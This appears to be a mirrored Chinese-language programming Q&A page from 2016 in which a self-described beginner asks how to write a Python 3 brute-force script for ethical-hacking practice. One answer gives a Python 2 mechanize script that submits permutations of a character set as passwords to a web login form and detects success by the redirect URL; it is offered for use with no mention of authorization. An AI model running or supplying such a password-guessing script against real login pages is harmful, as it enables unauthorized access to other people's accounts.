Python强力脚本

时间:2016-08-22 02:02:24

标签: python-3.x

我需要帮助编写Python 3暴力脚本。我最近刚开始自学Python,并且还想参加一些道德黑客攻击课程。我只是想问一下是否有人知道如何在Python 3中制作一个暴力脚本。谢谢:)

2 个答案:

答案 0 :(得分:2)

for loop是一个非常好的强力脚本

答案 1 :(得分:0)

尝试这些脚本

#!/usr/bin/python
import mechanize 
import itertools

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)

combos = itertools.permutations("i3^4hUP-",8) 
br.open("http://www.example.com/login/")
for x in combos:    
    br.select_form( nr = 0 )
    br.form['userName'] = "user name"
    br.form['password'] = ''.join(x)
    print "Checking ",br.form['password']
    response=br.submit()
    if response.geturl()=="http://www.example.com/redirected_to_url":
        #url to which the page is redirected after login
        print "Correct password is ",''.join(x)
        break